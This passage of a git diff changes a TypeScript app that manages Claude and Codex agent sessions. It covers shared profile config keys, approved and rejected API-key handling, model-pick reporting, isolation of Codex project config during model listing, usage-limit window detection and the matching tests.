+  'autoUpdatesProtectedForNative',
+  'theme',
+  'verbose',
+  'preferredNotifChannel',
+  'shiftEnterKeyBindingInstalled',
+  'editorMode',
+  'hasUsedBackslashReturn',
+  'autoCompactEnabled',
+  'autoScrollEnabled',
+  'showTurnDuration',
+  'externalEditorContext',
+  'showMessageTimestamps',
+  'diffTool',
+  'env',
+  'todoFeatureEnabled',
+  'showExpandedTodos',
+  'briefTranscript',
+  'diffSidebarOpen',
+  'messageIdleNotifThresholdMs',
+  'autoConnectIde',
+  'autoInstallIdeExtension',
+  'fileCheckpointingEnabled',
+  'terminalProgressBarEnabled',
+  'showStatusInTerminalTab',
+  'taskCompleteNotifEnabled',
+  'inputNeededNotifEnabled',
+  'agentPushNotifEnabled',
+  'respectGitignore',
+  'claudeInChromeDefaultEnabled',
+  'hasCompletedClaudeInChromeOnboarding',
+  'lspRecommendationDisabled',
+  'lspRecommendationNeverPlugins',
+  'copyFullResponse',
+  'copyOnSelect',
+  'leftArrowOpensAgents',
+  'defaultToAgentsView',
+  'prStatusFooterEnabled',
+  'remoteControlAtStartup',
+  'autoUploadSessions',
+  'autoAddRemoteControlDaemonWorker',
+  'remoteDialogSeen',
+  'workflowSizeGuideline',
+  'favoritePlugins',
+  'preferTmuxOverIterm2',
+  'codeReviewLastEffort',
+  'codeReviewLastMaxFindings',
+  'bypassPermissionsModeAccepted',
+  'mcpServers'
+] as const
+
+const SHARED_PROJECT_KEYS = [
+  'allowedTools',
+  'mcpContextUris',
+  'mcpServers',
+  'enabledMcpjsonServers',
+  'disabledMcpjsonServers',
+  'hasClaudeMdExternalIncludesApproved',
+  'hasTrustDialogAccepted'
+] as const
+
+function isPlainRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function selectConfigFields(
+  source: Record<string, unknown>,
+  keys: readonly string[]
+): Record<string, unknown> {
+  return Object.fromEntries(
+    keys.filter((key) => Object.hasOwn(source, key)).map((key) => [key, source[key]])
+  )
+}
+
+export function selectSharedClaudeProfileState(
+  source: Record<string, unknown>
+): Record<string, unknown> {
+  const shared = selectConfigFields(source, SHARED_CONFIG_KEYS)
+  if (isPlainRecord(source.projects)) {
+    const projects: Record<string, unknown> = {}
+    for (const [path, entry] of Object.entries(source.projects)) {
+      if (isPlainRecord(entry)) {
+        const selected = selectConfigFields(entry, SHARED_PROJECT_KEYS)
+        if (Object.keys(selected).length > 0) {
+          projects[path] = selected
+        }
+      }
+    }
+    if (Object.keys(projects).length > 0) {
+      shared.projects = projects
+    }
+  }
+  if (source.hasCompletedOnboarding === true) {
+    shared.hasCompletedOnboarding = true
+  }
+  if (
+    isPlainRecord(source.customApiKeyResponses) &&
+    Array.isArray(source.customApiKeyResponses.rejected)
+  ) {
+    const rejected = source.customApiKeyResponses.rejected.filter(
+      (value) => typeof value === 'string'
+    )
+    if (rejected.length > 0) {
+      shared.customApiKeyResponses = { rejected }
+    }
+  }
+  return shared
+}
+
+function mergeProjects(current: unknown, source: Record<string, unknown>): unknown {
+  if (current !== undefined && !isPlainRecord(current)) {
+    return current
+  }
+  const projects: Record<string, unknown> = { ...current }
+  for (const [path, entry] of Object.entries(source)) {
+    const own = projects[path]
+    if (isPlainRecord(entry) && (own === undefined || isPlainRecord(own))) {
+      projects[path] = {
+        ...own,
+        ...entry,
+        ...(own?.hasTrustDialogAccepted === true ? { hasTrustDialogAccepted: true } : {})
+      }
+    }
+  }
+  return projects
+}
+
+function mergeRejectedApiKeys(current: unknown, source: Record<string, unknown>): unknown {
+  if (current !== undefined && !isPlainRecord(current)) {
+    return current
+  }
+  const previous = current?.rejected
+  if ((previous !== undefined && !Array.isArray(previous)) || !Array.isArray(source.rejected)) {
+    return current
+  }
+  const rejected = [...(previous ?? [])]
+  const seen = new Set(rejected)
+  for (const value of source.rejected) {
+    if (!seen.has(value)) {
+      seen.add(value)
+      rejected.push(value)
+    }
+  }
+  return { ...current, rejected }
+}
+
+export function mergeClaudeProfileState(
+  current: Record<string, unknown>,
+  shared: Record<string, unknown>
+): Record<string, unknown> {
+  const config = { ...current }
+  for (const [key, value] of Object.entries(shared)) {
+    if (key === 'hasCompletedOnboarding') {
+      if (!Object.hasOwn(current, key)) {
+        config[key] = true
+      }
+    } else if (key === 'customApiKeyResponses' && isPlainRecord(value)) {
+      config[key] = mergeRejectedApiKeys(current[key], value)
+    } else if (key === 'projects' && isPlainRecord(value)) {
+      config[key] = mergeProjects(current[key], value)
+    } else if (key === 'mcpServers' && isPlainRecord(current[key]) && isPlainRecord(value)) {
+      config[key] = { ...current[key], ...value }
+    } else {
+      config[key] = value
+    }
+  }
+  return config
+}
diff --git a/src/main/claude/claude-context-usage-unloaded-turn.test.ts b/src/main/claude/claude-context-usage-unloaded-turn.test.ts
index a3a66b047f9..90106391b22 100644
--- a/src/main/claude/claude-context-usage-unloaded-turn.test.ts
+++ b/src/main/claude/claude-context-usage-unloaded-turn.test.ts
@@ -111,7 +111,8 @@ function readOptions(journal: AgentSessionJournal, agents: StructuredAgentRegist
     },
     serialize: (_sessionId: string, task: () => Promise<unknown>) => task(),
     openConversation: async () => running,
-    conversation: async () => running
+    conversation: async () => running,
+    sessions: new Map([[SESSION, running]])
   } as unknown as StructuredAgentSessionMutationContext
   return readStructuredAgentSessionOptions(context, SESSION, { readsWithoutModel: true })
 }
diff --git a/src/main/claude/claude-rejected-api-key.ts b/src/main/claude/claude-rejected-api-key.ts
index 38c61451579..d9afa94d907 100644
--- a/src/main/claude/claude-rejected-api-key.ts
+++ b/src/main/claude/claude-rejected-api-key.ts
@@ -3,19 +3,27 @@ import { readFile } from 'node:fs/promises'
 import { homedir } from 'node:os'
 import { resolveClaudeGlobalConfigFile } from './claude-folder-trust-file'
 
-async function readRejectedApiKeyIds(configFile: string): Promise<readonly unknown[]> {
+type ClaudeApiKeyResponses = { approved: readonly unknown[]; rejected: readonly unknown[] }
+
+async function readApiKeyResponses(configFile: string): Promise<ClaudeApiKeyResponses> {
+  const empty = { approved: [], rejected: [] }
   try {
     const parsed: unknown = JSON.parse(await readFile(configFile, 'utf8'))
     if (typeof parsed !== 'object' || parsed === null || !('customApiKeyResponses' in parsed)) {
-      return []
+      return empty
     }
     const responses = parsed.customApiKeyResponses
-    if (typeof responses !== 'object' || responses === null || !('rejected' in responses)) {
-      return []
+    if (typeof responses !== 'object' || responses === null) {
+      return empty
+    }
+    return {
+      approved:
+        'approved' in responses && Array.isArray(responses.approved) ? responses.approved : [],
+      rejected:
+        'rejected' in responses && Array.isArray(responses.rejected) ? responses.rejected : []
     }
-    return Array.isArray(responses.rejected) ? responses.rejected : []
   } catch {
-    return []
+    return empty
   }
 }
 
@@ -38,9 +46,10 @@ export async function withoutRejectedClaudeApiKey(
     style,
     exists: existsSync
   })
-  const rejected = await readRejectedApiKeyIds(configFile)
+  const responses = await readApiKeyResponses(configFile)
   // Claude records answers by the trimmed key's last 20 characters.
-  if (rejected.includes(apiKey.trim().slice(-20))) {
+  const suffix = apiKey.trim().slice(-20)
+  if (!responses.approved.includes(suffix) && responses.rejected.includes(suffix)) {
     for (const name of keyNames) {
       delete env[name]
     }
diff --git a/src/main/claude/structured/claude-structured-execution-observations.ts b/src/main/claude/structured/claude-structured-execution-observations.ts
index bd27887fdfd..60f7a34ecaf 100644
--- a/src/main/claude/structured/claude-structured-execution-observations.ts
+++ b/src/main/claude/structured/claude-structured-execution-observations.ts
@@ -41,11 +41,19 @@ export function beginClaudeOptionMutation(session: ClaudeSession, key: string):
   return sequence
 }
 
+/** Until a turn carries the pick, the running process's answers name the model it replaced. */
+export function noteClaudeModelPick(session: ClaudeSession, model: string): void {
+  session.modelPickAwaitingTurn = model
+  delete session.reportedOptions.reportedModel
+}
+
 /** An init names execution; a control answer only acknowledges its input. */
 export function observeClaudeExecutionModel(session: ClaudeSession, model: string): boolean {
   const previous = claudeExecutionObservations(session).model
   const previousResponse = session.reportedOptions.reportedModel
-  session.reportedOptions.reportedModel = model
+  if (!session.modelPickAwaitingTurn) {
+    session.reportedOptions.reportedModel = model
+  }
   if (previous !== model) {
     delete session.appliedOptions
   }
@@ -93,7 +101,7 @@ function observeClaudeResponseModel(
           : null,
       responseModel: response
     }) ?? response
-  if (model === session.reportedOptions.reportedModel) {
+  if (session.modelPickAwaitingTurn || model === session.reportedOptions.reportedModel) {
     return false
   }
   session.reportedOptions.reportedModel = model
diff --git a/src/main/claude/structured/claude-structured-response-model.test.ts b/src/main/claude/structured/claude-structured-response-model.test.ts
index e37af00c246..4405ad02c96 100644
--- a/src/main/claude/structured/claude-structured-response-model.test.ts
+++ b/src/main/claude/structured/claude-structured-response-model.test.ts
@@ -152,3 +152,50 @@ it('keeps a model picked during a turn over that turn’s later replies until a
     await adapter.closeAll()
   }
 })
+
+it('retires the answered model on a saved pick until a turn carries that pick', async () => {
+  const claude = fakeClaude({ initModel: 'claude-opus-5-5' })
+  const adapter = await acquired(claude)
+  const connection = claude.connections[0]!
+  const read = async () => (await adapter.readOptions({ sessionId: 'session-1', fence: 7 })).current
+  const answer = (uuid: string, model: string) =>
+    claudeFrame(connection, {
+      type: 'assistant',
+      uuid,
+      message: { role: 'assistant', model, content: [] }
+    })
+  const turn = async (clientMessageId: string, model: string) => {
+    claudeFrame(connection, { type: 'system', subtype: 'session_state_changed', state: 'idle' })
+    await adapter.dispatch({
+      sessionId: 'session-1',
+      clientMessageId,
+      body: USER_MESSAGE,
+      executionOptions: { model },
+      fence: 7
+    })
+  }
+  try {
+    claudeFrame(connection, { type: 'system', subtype: 'init', model: 'claude-opus-5-5' })
+    answer('fallback', 'claude-opus-4-8')
+    expect((await read()).reportedModel).toBe('claude-opus-4-8')
+
+    adapter.noteOptionPick({ sessionId: 'session-1', fence: 7, key: 'model', value: 'sonnet' })
+    answer('same-turn', 'claude-opus-4-8')
+    expect((await read()).reportedModel).toBeUndefined()
+    expect((await read()).confirmed ?? []).not.toContain('model')
+
+    // A message accepted before the pick runs the model it captured.
+    await turn('queued-before-pick', 'opus')
+    claudeFrame(connection, { type: 'system', subtype: 'init', model: 'claude-opus-5-5' })
+    answer('queued-answer', 'claude-opus-5-5')
+    expect((await read()).reportedModel).toBeUndefined()
+
+    await turn('carries-pick', 'sonnet')
+    expect(connection.calls).toContainEqual({ subtype: 'set_model', params: { model: 'sonnet' } })
+    claudeFrame(connection, { type: 'system', subtype: 'init', model: 'claude-sonnet-5-5' })
+    answer('next-fallback', 'claude-opus-4-8')
+    expect((await read()).reportedModel).toBe('claude-opus-4-8')
+  } finally {
+    await adapter.closeAll()
+  }
+})
diff --git a/src/main/claude/structured/claude-structured-session-adapter.ts b/src/main/claude/structured/claude-structured-session-adapter.ts
index a5158d42421..293bd4e7244 100644
--- a/src/main/claude/structured/claude-structured-session-adapter.ts
+++ b/src/main/claude/structured/claude-structured-session-adapter.ts
@@ -18,6 +18,7 @@ import { supportsClaudeStructuredLocation } from './launch/claude-structured-loc
 import * as claudeOptions from './launch/claude-structured-options'
 import { dispatchClaudeMessage } from './launch/claude-structured-message-options'
 import { readClaudeStructuredSessionOptions } from './launch/claude-structured-session-options'
+import { noteClaudeModelPick } from './claude-structured-execution-observations'
 import {
   ClaudeAcquisitionRegistry,
   type ClaudeSession,
@@ -229,6 +230,12 @@ export class ClaudeStructuredSessionAdapter implements StructuredAgentSessionAda
       deps: this.deps,
       emit: (session, event) => this.emit(session, event)
     })
+  noteOptionPick: NonNullable<StructuredAgentSessionAdapter['noteOptionPick']> = (input) => {
+    const session = this.sessions.get(input.sessionId)
+    if (session?.fence === input.fence && input.key === 'model' && input.value) {
+      noteClaudeModelPick(session, input.value)
+    }
+  }
   readOptions = (input: { sessionId: string; fence: number }) =>
     readClaudeStructuredSessionOptions(this.session(input.sessionId))
   releaseAcquisition = (input: ClaudeReleaseRequest): Promise<boolean> => {
diff --git a/src/main/claude/structured/claude-structured-session-state.ts b/src/main/claude/structured/claude-structured-session-state.ts
index dcb0231822b..412afc09653 100644
--- a/src/main/claude/structured/claude-structured-session-state.ts
+++ b/src/main/claude/structured/claude-structured-session-state.ts
@@ -136,6 +136,8 @@ export type ClaudeSession = {
   fastModePerSessionOptIn?: boolean
   /** Mutation sequence of the last model report; newer writes outrank it. */
   reportedModelMutation: number
+  /** A saved model pick no turn of this process has carried; its reports predate the pick. */
+  modelPickAwaitingTurn?: string
   /** `dispatchSequence` at the last model write; that turn's replies predate the pick. */
   modelMutationDispatch?: number
   /** Options whose recorded value the provider reported, not merely accepted. */
diff --git a/src/main/claude/structured/launch/claude-structured-message-options.ts b/src/main/claude/structured/launch/claude-structured-message-options.ts
index 8463df786cc..abd34fe3d5b 100644
--- a/src/main/claude/structured/launch/claude-structured-message-options.ts
+++ b/src/main/claude/structured/launch/claude-structured-message-options.ts
@@ -30,6 +30,10 @@ export async function applyClaudeMessageOptions(
 ): Promise<void> {
   throwIfSignalAborted(signal)
   const model = options.model
+  // Only a turn carrying the newest pick reports on it; earlier captured sends run the replaced model.
+  if (model === session.modelPickAwaitingTurn) {
+    delete session.modelPickAwaitingTurn
+  }
   if (model && session.appliedInputOptions.get('model') !== model) {
     await waitForPromiseWithSignal(
       setClaudeStructuredOption(session, { key: 'model', value: model }, timeoutMs),
diff --git a/src/main/claude/structured/launch/claude-structured-session-options.ts b/src/main/claude/structured/launch/claude-structured-session-options.ts
index 000c85ec47e..b35843bd7c6 100644
--- a/src/main/claude/structured/launch/claude-structured-session-options.ts
+++ b/src/main/claude/structured/launch/claude-structured-session-options.ts
@@ -213,6 +213,7 @@ export function claudeStructuredSessionOptionsFrom(
   const discovered = listedModels(catalog ? { models: catalog } : null)
   const listed = discovered.length > 0 ? discovered : seedModels()
   const current = readClaudeCurrentModel(session)
+  const reportsPick = !session.modelPickAwaitingTurn
   const model = current.id === 'default' ? undefined : current.id
   const models = structuredAgentSessionOptionModels(listed, model, (row) => ({
     ...row,
@@ -230,7 +231,7 @@ export function claudeStructuredSessionOptionsFrom(
     session.reportedOptions.fastMode ??
     (session.fastModeState === undefined ? undefined : session.fastModeState !== 'off')
   const confirmed = [
-    ...(current.confirmed ? ['model'] : []),
+    ...(current.confirmed && reportsPick ? ['model'] : []),
     ...(effort && session.confirmedOptions.has('effort') ? ['effort'] : []),
     ...(fastMode !== undefined &&
     (session.confirmedOptions.has('fastMode') || !session.options.has('fastMode'))
@@ -243,7 +244,7 @@ export function claudeStructuredSessionOptionsFrom(
     ...(changesLive ? {} : { effortFixed: true as const }),
     current: {
       model,
-      reportedModel: session.reportedOptions.reportedModel,
+      reportedModel: reportsPick ? session.reportedOptions.reportedModel : undefined,
       reportedPermissionMode: session.reportedOptions.reportedPermissionMode,
       ...(effort ? { effort } : {}),
       ...(fastMode !== undefined ? { fastMode } : {}),
diff --git a/src/main/codex/structured/catalog/codex-model-catalog-probe.test.ts b/src/main/codex/structured/catalog/codex-model-catalog-probe.test.ts
index 3fe0e337ea9..3d6b9c7ade2 100644
--- a/src/main/codex/structured/catalog/codex-model-catalog-probe.test.ts
+++ b/src/main/codex/structured/catalog/codex-model-catalog-probe.test.ts
@@ -55,58 +55,62 @@ it.each(['saved', 'recover'] as const)(
 )
 
 describe('codex model catalog probe', () => {
-  it.each([[[]]])(
-    "lists a command line with arguments %j from Orca's folder for every chat",
-    async (prefixArgs) => {
-      // The chat's repo never picks the list, so no listing runs in a chat's folder.
-      const invocations: CodexAppServerInvocation[] = []
-      const configReads: unknown[] = []
-      const probe = createCodexModelCatalogProbe({
-        resolveEnvironment: async () => ({ PATH: '/bin' }),
-        resolveCommand: () => ({ command: '/bin/codex', prefixArgs }),
-        runSession: async (invocation, body) => {
-          invocations.push(invocation)
-          return body({
-            request: async (method: string, params: unknown) => {
-              if (method === 'config/read') {
-                configReads.push(params)
-                return { config: {} }
-              }
-              return { data: [MODEL_ROW], nextCursor: null }
-            },
-            notify: () => {}
-          })
-        }
-      })
-      const identities: unknown[] = []
-      for (const folder of ['/chat-a', '/chat-b']) {
-        const resolved = await probe.resolve?.(
-          { variable: 'CODEX_HOME', path: '/homes/a' },
-          '/orca-probe',
-          'snapshot',
-          undefined,
-          folder
-        )
-        identities.push(resolved?.identity)
-        await resolved?.run()
+  it.each([
+    [[], ['/orca-probe', '/orca-probe']],
+    [['node_modules/@openai/codex/bin/codex.js'], ['/chat-a', '/chat-b']],
+    [
+      ['-c', 'model_instructions_file="./prompt.md"'],
+      ['/chat-a', '/chat-b']
+    ]
+  ])('lists a command line with arguments %j from %j', async (prefixArgs, listedIn) => {
+    // Only the plain CLI shares one listing; user arguments may name files in the chat's folder.
+    const invocations: CodexAppServerInvocation[] = []
+    const configReads: unknown[] = []
+    const probe = createCodexModelCatalogProbe({
+      resolveEnvironment: async () => ({ PATH: '/bin' }),
+      resolveCommand: () => ({ command: '/bin/codex', prefixArgs }),
+      runSession: async (invocation, body) => {
+        invocations.push(invocation)
+        return body({
+          request: async (method: string, params: unknown) => {
+            if (method === 'config/read') {
+              configReads.push(params)
+              return { config: {} }
+            }
+            return { data: [MODEL_ROW], nextCursor: null }
+          },
+          notify: () => {}
+        })
       }
-      expect(invocations.map((invocation) => invocation.cwd)).toEqual([
+    })
+    const identities: unknown[] = []
+    for (const folder of ['/chat-a', '/chat-b']) {
+      const resolved = await probe.resolve?.(
+        { variable: 'CODEX_HOME', path: '/homes/a' },
         '/orca-probe',
-        '/orca-probe'
-      ])
-      expect(invocations[0]?.args.slice(0, prefixArgs.length + 2)).toEqual([
-        ...prefixArgs,
-        '-c',
-        'project_root_markers=[]'
-      ])
-      expect(identities[0]).toMatchObject({ cwd: '/orca-probe' })
-      expect(identities[1]).toEqual(identities[0])
-      // The account's configured default is read for Orca's folder, never the project's.
-      expect(configReads).toEqual(
-        expect.arrayContaining([expect.objectContaining({ cwd: '/orca-probe' })])
+        'snapshot',
+        undefined,
+        folder
       )
+      identities.push(resolved?.identity)
+      await resolved?.run()
     }
-  )
+    expect(invocations.map((invocation) => invocation.cwd)).toEqual(listedIn)
+    expect(invocations[0]?.args.slice(0, prefixArgs.length)).toEqual(prefixArgs)
+    // A listing in the chat's folder never loads that folder's project config.
+    expect(invocations[0]?.args.includes('projects={"/chat-a"={trust_level="untrusted"}}')).toBe(
+      listedIn[0] === '/chat-a'
+    )
+    expect(invocations[0]?.args).toContain('project_root_markers=[]')
+    expect(identities[0]).toMatchObject({ cwd: listedIn[0] })
+    expect(JSON.stringify(identities[0]) === JSON.stringify(identities[1])).toBe(
+      listedIn[0] === listedIn[1]
+    )
+    // The account's configured default is read for Orca's folder, never the project's.
+    expect(configReads).toEqual(
+      expect.arrayContaining([expect.objectContaining({ cwd: '/orca-probe' })])
+    )
+  })
 
   it('keeps the listing when config/read never answers', async () => {
     const server = String.raw`
diff --git a/src/main/codex/structured/catalog/codex-model-catalog-probe.ts b/src/main/codex/structured/catalog/codex-model-catalog-probe.ts
index fe4b82a24a2..94c26ee190c 100644
--- a/src/main/codex/structured/catalog/codex-model-catalog-probe.ts
+++ b/src/main/codex/structured/catalog/codex-model-catalog-probe.ts
@@ -4,13 +4,17 @@ import {
 } from '../../../native-chat/structured-agent-command-resolution'
 import { codexStructuredLaunchArgs } from '../launch/codex-structured-launch-args'
 import { overlayEnvironmentVariables } from '../../../../shared/environment-overlay'
-import { envWithPathRelativeTo } from '../../../../shared/node-cli-command-resolution'
+import {
+  catalogListingDirectory,
+  envWithPathRelativeTo
+} from '../../../../shared/node-cli-command-resolution'
 import type { AgentSessionAccountKind } from '../../../../shared/agent-session/agent-session-availability'
 import { AgentModelCatalogUnavailableError } from '../../../native-chat/agent-model-catalog/agent-model-catalog-unavailable'
 import { isMissingProviderExecutable } from '../../../provider-process/provider-executable-missing'
 import { CODEX_SHORT_LIVED_PROBE_APP_SERVER_ARGS } from '../../../codex-cli/codex-read-only-app-server-args'
 import { runCodexAppServerSession } from '../../app-server/codex-app-server-session'
 import { fetchCodexModelCatalogListing } from './codex-structured-model-catalog'
+import { codexProjectConfigIsolationArgs } from './codex-project-config-isolation'
 import { applyCodexConfiguredLaunchDefaults } from '../launch/codex-configured-launch-defaults'
 import {
   resolveCodexStructuredInvocation,
@@ -70,13 +74,17 @@ export function createCodexModelCatalogProbe(
       ...(launchDirectory ? { resolveWorkingDirectory: () => launchDirectory } : {})
     })
     assertStructuredAgentResolutionCurrent(operation)
-    // Every listing runs in `cwd` with the user's command line, as other Codex hosts list from their
-    // own folder, so the chat's repo never picks the list; relative paths in user arguments are not
-    // resolved against the chat's folder. No root markers keep Codex from reading a repo above
-    // Orca's folder too, unless an administrator's managed config sets its own.
-    const args = [
+    const userArgs = [
       ...prefixArgs,
-      ...(cwd ? codexStructuredLaunchArgs((await deps.resolveLaunchArgs?.()) ?? []) : []),
+      ...(cwd ? codexStructuredLaunchArgs((await deps.resolveLaunchArgs?.()) ?? []) : [])
+    ]
+    // A command line that may name files relative to the chat's folder runs there, with that
+    // folder untrusted so its project config never replaces the account's list. No root markers
+    // keep Codex from reading a repo above the listing's folder, unless managed config sets its own.
+    const listIn = catalogListingDirectory(command, userArgs, cwd, launchDirectory)
+    const args = [
+      ...userArgs,
+      ...(listIn && listIn !== cwd ? await codexProjectConfigIsolationArgs(listIn) : []),
       '-c',
       'project_root_markers=[]',
       ...CODEX_SHORT_LIVED_PROBE_APP_SERVER_ARGS
@@ -90,7 +98,7 @@ export function createCodexModelCatalogProbe(
       CODEX_HOME: accountHomePath
     }
     return {
-      identity: { command, args, cwd, overlay: Object.entries(overlay).sort() },
+      identity: { command, args, cwd: listIn, overlay: Object.entries(overlay).sort() },
       run: async (
         signal?: AbortSignal,
         runOperation = operation
@@ -103,7 +111,7 @@ export function createCodexModelCatalogProbe(
           {
             command,
             args,
-            ...(cwd ? { cwd } : {}),
+            ...(listIn ? { cwd: listIn } : {}),
             cliPath: command,
             env,
             timeoutMs: AGENT_MODEL_CATALOG_PROBE_TIMEOUT_MS,
diff --git a/src/main/codex/structured/catalog/codex-project-config-isolation.ts b/src/main/codex/structured/catalog/codex-project-config-isolation.ts
new file mode 100644
index 00000000000..07d197e13d1
--- /dev/null
+++ b/src/main/codex/structured/catalog/codex-project-config-isolation.ts
@@ -0,0 +1,18 @@
+import { realpath } from 'node:fs/promises'
+
+/** `-c` arguments that keep Codex from loading `dir`'s project config, so a listing that must run
+ *  there still reports only the account's catalog. Needs `project_root_markers=[]` so no folder
+ *  above `dir` is read. Override keys split on dots, so the folders go in the value. A managed
+ *  config that trusts the folder still wins. */
+export async function codexProjectConfigIsolationArgs(dir: string): Promise<string[]> {
+  const real = await realpath(dir).catch(() => dir)
+  // Windows Codex tries an ASCII-lowercased key first; a saved "trusted" one would win.
+  const spellings =
+    process.platform === 'win32'
+      ? [dir, real].map((folder) => folder.replace(/[A-Z]/g, (letter) => letter.toLowerCase()))
+      : []
+  const table = [...new Set([dir, real, ...spellings])]
+    .map((folder) => `${JSON.stringify(folder)}={trust_level="untrusted"}`)
+    .join(',')
+  return ['-c', `projects={${table}}`]
+}
diff --git a/src/main/codex/structured/catalog/codex-usage-limits.test.ts b/src/main/codex/structured/catalog/codex-usage-limits.test.ts
index e84cddfd769..ba885b46b7f 100644
--- a/src/main/codex/structured/catalog/codex-usage-limits.test.ts
+++ b/src/main/codex/structured/catalog/codex-usage-limits.test.ts
@@ -62,6 +62,33 @@ describe('a Codex usage limit', () => {
     ])
     translator.dispose()
   })
+  it('takes the reset from a nearly spent window when the rejection outruns the last report', () => {
+    const limits = new CodexUsageLimits()
+    const rejectedWith = (primaryPercent: number, code = 'usageLimitExceeded') => {
+      limits.observe('notification:account/rateLimits/updated', {
+        rateLimits: {
+          limitId: 'codex',
+          primary: { usedPercent: primaryPercent, windowDurationMins: 300, resetsAt: RESETS_AT_S },
+          secondary: { usedPercent: 70, windowDurationMins: 10080, resetsAt: RESETS_AT_S + 3600 }
+        }
+      })
+      return limits.failure({ error: { codexErrorInfo: code, message: CODEX_WORDS } })?.usageLimit
+    }
+    expect(rejectedWith(99)).toEqual({ window: 'session', resetsAt: RESETS_AT_S * 1000 })
+    expect(rejectedWith(50)).toBeUndefined()
+    expect(rejectedWith(99, 'rateLimitExceeded')).toBeUndefined()
+
+    limits.observe('notification:account/rateLimits/updated', {
+      rateLimits: {
+        primary: { usedPercent: 99, windowDurationMins: 300, resetsAt: 1_000_000 },
+        secondary: { usedPercent: 95, windowDurationMins: 10080, resetsAt: RESETS_AT_S }
+      }
+    })
+    expect(
+      limits.failure({ error: { codexErrorInfo: 'usageLimitExceeded', message: CODEX_WORDS } })
+        ?.usageLimit
+    ).toEqual({ window: 'weekly', resetsAt: RESETS_AT_S * 1000 })
+  })
   it('merges null account updates and keeps unnamed exhausted windows in reset calculation', () => {
     const limits = new CodexUsageLimits()
     const observe = (rateLimits: Record<string, unknown>) =>
diff --git a/src/main/codex/structured/catalog/codex-usage-limits.ts b/src/main/codex/structured/catalog/codex-usage-limits.ts
index ca4bfd0c639..4e7fad1cc68 100644
--- a/src/main/codex/structured/catalog/codex-usage-limits.ts
+++ b/src/main/codex/structured/catalog/codex-usage-limits.ts
@@ -16,6 +16,8 @@ import {
 
 const RATE_LIMITS_UPDATED = 'notification:account/rateLimits/updated'
 const USAGE_LIMIT_ERRORS = ['usageLimitExceeded', 'rateLimitExceeded']
+/** The last report can trail a rejection by the request that went over, so a window this full counts as the spent one. */
+const NEARLY_SPENT_PERCENT = 90
 
 type CodexAccountRateLimits = CodexRateLimitWindowsSnapshot & {
   rateLimitReachedType?: unknown
@@ -62,7 +64,7 @@ export class CodexUsageLimits {
     const text = [message, additional && additional !== message ? additional : null]
       .filter((part): part is string => part !== null)
       .join('\n')
-    const limit = this.limit()
+    const limit = this.limit(info.error === 'usageLimitExceeded')
     return agentSessionFailureFact('usageLimitReached', {
       ...(limit ? { usageLimit: limit } : {}),
       detail: providerDiagnostic(text, 'person')
@@ -70,21 +72,16 @@ export class CodexUsageLimits {
   }
 
   /** All spent windows must reset; report the latest only if every reset is known. */
-  private limit(): AgentSessionUsageLimit | null {
+  private limit(rejected: boolean): AgentSessionUsageLimit | null {
     const monthlyPlan = this.snapshot.planType === 'free' || this.snapshot.planType === 'go'
-    const spent = (
+    const reported = (
       [
         ['primary', monthlyPlan ? 43200 : 300],
         ['secondary', 10080]
       ] as const
     ).flatMap(([position, fallback]) => {
       const raw = this.snapshot[position]
-      if (
-        !raw ||
-        typeof raw.usedPercent !== 'number' ||
-        !Number.isFinite(raw.usedPercent) ||
-        raw.usedPercent < 100
-      ) {
+      if (!raw || typeof raw.usedPercent !== 'number' || !Number.isFinite(raw.usedPercent)) {
         return []
       }
       const duration =
@@ -99,8 +96,19 @@ export class CodexUsageLimits {
               ? ('weekly' as const)
               : ('session' as const)
           : undefined
-      return [{ window, resetsAt: raw.resetsAt }]
+      return [{ window, resetsAt: raw.resetsAt, usedPercent: raw.usedPercent }]
     })
+    // A window that already reset cannot be the one that just rejected.
+    const live = reported.filter(
+      (entry) => typeof entry.resetsAt !== 'number' || entry.resetsAt * 1000 > this.now()
+    )
+    const fullest = Math.max(...live.map((entry) => entry.usedPercent))
+    const spent =
+      rejected &&
+      fullest >= NEARLY_SPENT_PERCENT &&
+      !reported.some((entry) => entry.usedPercent >= 100)
+        ? live.filter((entry) => entry.usedPercent >= fullest)
+        : reported.filter((entry) => entry.usedPercent >= 100)
     const reached = this.snapshot.rateLimitReachedType
     const credits = typeof reached === 'string' && reached.endsWith('credits_depleted')
     const window: AgentSessionUsageLimitWindow | undefined = credits
diff --git a/src/main/codex/structured/items/codex-image-item-translation.ts b/src/main/codex/structured/items/codex-image-item-translation.ts
index abbc6ae5308..524e6c8fc46 100644
--- a/src/main/codex/structured/items/codex-image-item-translation.ts
+++ b/src/main/codex/structured/items/codex-image-item-translation.ts
@@ -1,6 +1,7 @@
 import type { AgentJournalMessageItem } from '../../../../shared/agent-session/journal/agent-session-journal-types'
 import type { NativeChatBlock } from '../../../../shared/native-chat/native-chat-types'
 import { buildImageDataUri } from '../../../../shared/file-preview/image-data-uri'
+import { NATIVE_CHAT_GENERATED_IMAGE_PRESENTATION } from '../../../../shared/native-chat/native-chat-generated-image'
 import { readString } from '../../app-server/codex-item-field-readers'
 import type { CodexThreadItem } from './codex-thread-item-identity'
 
@@ -31,6 +32,7 @@ export function generatedImageUrl(item: CodexThreadItem): string | null {
 export function codexImageItemBody(item: CodexThreadItem): AgentJournalMessageItem {
   let image: Extract<NativeChatBlock, { type: 'image-ref' }> | null = null
   let text: string
+  let presentation: string | undefined
   if (item.type === 'imageView') {
     const path = imagePath(item, 'path')
     text = path ? 'Viewed image' : 'Image view: preview unavailable'
@@ -54,11 +56,15 @@ export function codexImageItemBody(item: CodexThreadItem): AgentJournalMessageIt
           ? { type: 'image-ref', url, alt: 'Generated image' }
           : null
       text = image ? 'Generated image' : 'Image generated: preview unavailable'
+      presentation = image ? NATIVE_CHAT_GENERATED_IMAGE_PRESENTATION : undefined
     }
   }
   return {
     kind: 'message',
     role: 'assistant',
-    blocks: [{ type: 'text', text }, ...(image ? [image] : [])]
+    blocks: [
+      { type: 'text', text, ...(presentation ? { presentation } : {}) },
+      ...(image ? [image] : [])
+    ]
   }
 }
diff --git a/src/main/codex/structured/journal/codex-turn-failures.test.ts b/src/main/codex/structured/journal/codex-turn-failures.test.ts
index 9a89ea774a8..96bf3377025 100644
--- a/src/main/codex/structured/journal/codex-turn-failures.test.ts
+++ b/src/main/codex/structured/journal/codex-turn-failures.test.ts
@@ -31,37 +31,6 @@ function statuses(tap: ReturnType<typeof recorder>) {
 }
 
 describe('Codex terminal failure categories', () => {
-  it.each([
-    ['rateLimitExceeded', 'usageLimitReached'],
-    ['flexUnavailable', 'providerUnavailable'],
